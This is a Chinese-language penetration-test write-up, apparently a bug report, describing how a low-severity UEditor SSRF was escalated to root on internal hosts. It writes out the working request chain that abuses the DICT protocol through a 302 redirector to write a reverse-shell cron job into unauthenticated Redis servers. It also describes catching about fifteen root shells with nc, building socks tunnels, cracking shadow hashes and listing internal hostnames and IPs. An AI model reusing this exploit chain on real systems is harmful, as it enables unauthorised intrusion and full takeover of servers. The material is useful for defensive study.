**Github地址：https://github.com/r35tart/PenetrationTestingCase

-----------------------------------------------------漏洞詳情：**低危SSRF漏洞

漏洞域名：http://xxxxxxxxx.*.com打開后自動跳轉至：http://xxxxxxx.*.com/Public/login且狀態碼為404 一般這樣的URI憑經驗感覺是php的站，查看cookies基本可以確定是php的站

由于是404推測曾經可能跑過測試應用網站可能會遺留一些測試文件或者備份文件，故fuzz了一下看到phpmyadmin的狀態碼為206的時候就知道有WAF，應該不太好弄，但是看到ueditor百度編輯器的時候興奮了，因為這很有可能存在SSRF，而你們的內網又那么大，搞不好還在我上次搞過的內網段中，所以如果存在SSRF的話有很大概率能夠再次搞進內網。

幾經測試最終找到此SSRF并成功觸發

低危漏洞提權接下來要做的事

1. 摸清SSRF的狀態是否為布爾狀態

2. 此SSRF支持什么協議

3. 此SSRF是否支持302跳轉

一、嘗試請求一個沒開放的1234端口回復"鏈接不可用"

二、嘗試請求開放的22端口回顯"鏈接不可用"

三、嘗試請求開放的80端口回顯"success"并把圖片抓了回來

四、嘗試請求我的302跳轉回復"鏈接不可用"但是跳轉成功。得出結論：

此SSRF為布爾型SSRF，能探測http應用并獲取html源碼、支持302跳轉，可嘗試通過響應速度來探測端口但誤報率很高（某些端口可能是一直連接，最后超時）

知道此SSRF的性質以后便需要開始測試他支持什么協議了，經測試發現由于使用的php版本比較老支持好幾個協議，使用gopher協議的時候狀態為206提示有WAF，但WAF卻沒攔截DICT協議，雖然gopher協議有WAF攔截但是支持DCIT的話一樣可以掃描內網redis寫shell反彈，只不過相對麻煩而已，并不礙事。

現在有一個問題就是我并不知道內網IP段是多少，于是我便去Github上面去找內網域名，找到以下內網域名gitlab.corp.*.com、jk.corp.*.com、wiki.corp.*.com等… 并通過SSRF請求jk.corp.*.com從中獲取到了內網IP信息

然后就開始嘗試內網編織大致摸清了幾個網段的分布和作用（根據logo識別應用）

最后發現88段應該為脆弱的開發業務段，根據之前搞了你們另外一個內網的經驗，斷定此段必定存在多個redis數據庫而且還是空口令的，于是使用dict協議往10.20.85-95.1/24段發redis寫shell的請求

使用dict協議向Redis數據庫寫shell

1.先清除沒用的數據，防止定時任務執行失敗

/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=flushall

2.利用302跳轉寫入反彈命令

/php/controller.php?action=catchimage&source[]=http://xxxx/s.php?s=dict%26ip=10.20.*.*%26port=6379%26bhost=*.*.*.*%26bport=1234

3.設置導出路徑

/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=config:set:dir:/var/spool/cron/

4.設置導出名字

/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=config:set:dbfilename:root

5.導出

/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=save

使用burp發包，為了避免語句順序執行錯誤，故第一個包先跑50個再跑第二個包以此類推

獲取內網多臺ROOT權限

使用nc持續監聽端口，剛剛全部跑完馬上就有差不多15臺左右主機反彈出來了而且都是root權限

在其中一臺內網一臺云服中發現了多個數據庫并發現了f**p的相關業務

89段office辦公主機跑著***系統

滲透內網！

嘗試打socket隧道出來

內網探測

使用ew打的socke隧道經常出問題，于是把自己寫的內網探測腳本丟到服務器上跑了起來，只挑了幾個重要的核心網段跑

發現172網段是 http://www.***.com/ 所在的業務段為了更加快速的定位到重要網段，我對內網域名進行了爆破并查看他們的解析地址

who.corp.*.com (10.20.95.89)

gongdan.corp.*.com (10.100.100.204)

work.corp.*.com (10.100.75.25)

jk.corp.*.com (10.20.95.86)

baize.corp.*.com (172.31.80.151)

asset.corp.*.com (10.20.95.50)

pm.corp.*.com (10.20.95.29)

wiki.corp.*.com (10.20.95.87)

cms.corp.*.com (172.31.80.101)

…….

本帖隱藏的內容需要積分高于 1000 才可瀏覽

抓了幾個shadow的密碼跑了一下發現弱口令挺多的

一堆平臺只是打開看了一下，并沒有進一步操作

滲透到這里就該結束了，本想著下一步先使用metasploit打兩臺window后嘗試拿域控的，因為比較難遇到這樣的實戰環境，但還是沒有進行進一步操作，點到為止。此漏洞從周四晚上八九點發現低危SSRF到拿到內網ROOT權限用了不到三個小時時間，但是由于waf 和ids等設備的阻攔打socks隧道花了我將近兩倍拿shell 的時間，最終發現不穩定的原因是我的nc -k參數持續監聽了端口，導致內網十幾臺redis數據庫都在同時請求我的端口上線，我想執行一條命令，將會同時在這十幾臺上線的主機上同時執行，這導致了我的socke端口堵塞，最后解決辦法是，不用-k參數，當一臺主機上線后，不接受其他主機上線請求。然后操作這臺主機使用sSocks 再打一條相對穩定的socks隧道出來，直入內網，不得不說sSocks相比EW穩得一批。